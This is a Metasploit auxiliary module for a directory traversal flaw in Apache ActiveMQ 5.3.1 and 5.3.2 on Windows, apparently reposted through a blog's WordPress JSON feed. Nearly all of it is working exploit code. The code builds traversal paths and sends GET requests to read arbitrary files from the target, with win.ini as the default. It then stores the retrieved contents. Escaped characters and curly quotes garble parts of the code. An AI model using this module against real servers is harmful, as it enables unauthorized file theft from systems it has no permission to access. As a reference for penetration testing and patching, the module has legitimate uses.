##
# This module requires Metasploit: https:\/\/metasploit.com\/download
# Current source: https:\/\/github.com\/rapid7\/metasploit-framework
##<\/p>\n
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner<\/p>\n
def initialize(info = {})
super(update_info(info,
‘Name’ => ‘Apache ActiveMQ Directory Traversal’,
‘Description’ => %q{
This module exploits a directory traversal vulnerability in Apache ActiveMQ
5.3.1 and 5.3.2 on Windows systems. The vulnerability exists in the Jetty’s
ResourceHandler installed with the affected versions. This module has been tested
successfully on ActiveMQ 5.3.1 and 5.3.2 over Windows 2003 SP2.
},
‘License’ => MSF_LICENSE,
‘Author’ =>
[
‘AbdulAziz Hariri’, # Vulnerability discovery
‘juan vazquez’ # Metasploit module
],
‘References’ =>
[
[ ‘OSVDB’, ‘86401’ ],
[ ‘URL’, ‘http:\/\/www.verisigninc.com\/en_US\/products-and-services\/network-intelligence-availability\/idefense\/public-vulnerability-reports\/articles\/index.xhtml?id=895’ ],
[ ‘URL’, ‘https:\/\/issues.apache.org\/jira\/browse\/amq-2788’ ]]))<\/p>\n
register_options(
[
Opt::RPORT(8161),
OptString.new(‘FILEPATH’, [true, ‘The name of the file to download’, ‘\/windows\\\\win.ini’]),
OptInt.new(‘DEPTH’, [false, ‘Traversal depth if absolute is set to false’, 4])
])
end<\/p>\n
def run_host(ip)
# No point to continue if no filename is specified
if datastore[‘FILEPATH’].nil? or datastore[‘FILEPATH’].empty?
print_error(“#{rhost}:#{rport} – Please supply FILEPATH”)
return
end<\/p>\n
travs = “\/\\\\..” * (datastore[‘DEPTH’] || 1)
travs << “\/” unless datastore[‘FILEPATH’][0] == “\\\\” or datastore[‘FILEPATH’][0] == “\/”
travs << datastore[‘FILEPATH’]\n
print_status(“#{rhost}:#{rport} – Sending request…”)
res = send_request_cgi({
‘uri’ => travs,
‘method’ => ‘GET’,
})<\/p>\n
if res and res.code == 200
contents = res.body
fname = File.basename(datastore[‘FILEPATH’])
path = store_loot(
‘apache.activemq’,
‘application\/octet-stream’,
ip,
contents,
fname
)
print_status(“#{rhost}:#{rport} – File saved in: #{path}”)
else
print_error(“#{rhost}:#{rport} – Failed to retrieve file”)
return
end
end
end<\/p>\n","protected":false},"excerpt":{"rendered":"
### This module requires Metasploit: https:\/\/metasploit.com\/download# Current source: https:\/\/github.com\/rapid7\/metasploit-framework## class MetasploitModule < Msf::Auxiliaryinclude Msf::Exploit::Remote::HttpClientinclude Msf::Auxiliary::Reportinclude Msf::Auxiliary::Scanner def initialize(info = {})super(update_info(info,‘Name’ => ‘Apache ActiveMQ Directory Traversal’,‘Description’ => %q{This module exploits a directory traversal vulnerability in Apache ActiveMQ5.3.1 and 5.3.2 on Windows systems. The vulnerability exists in the Jetty’sResourceHandler installed with the affected versions. This module has …<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[26],"tags":[],"class_list":["post-59352","post","type-post","status-publish","format-standard","hentry","category-vulnerability"],"_links":{"self":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59352","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/comments?post=59352"}],"version-history":[{"count":0,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/posts\/59352\/revisions"}],"wp:attachment":[{"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/media?parent=59352"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/categories?post=59352"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/afaghhosting.net\/blog\/wp-json\/wp\/v2\/tags?post=59352"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}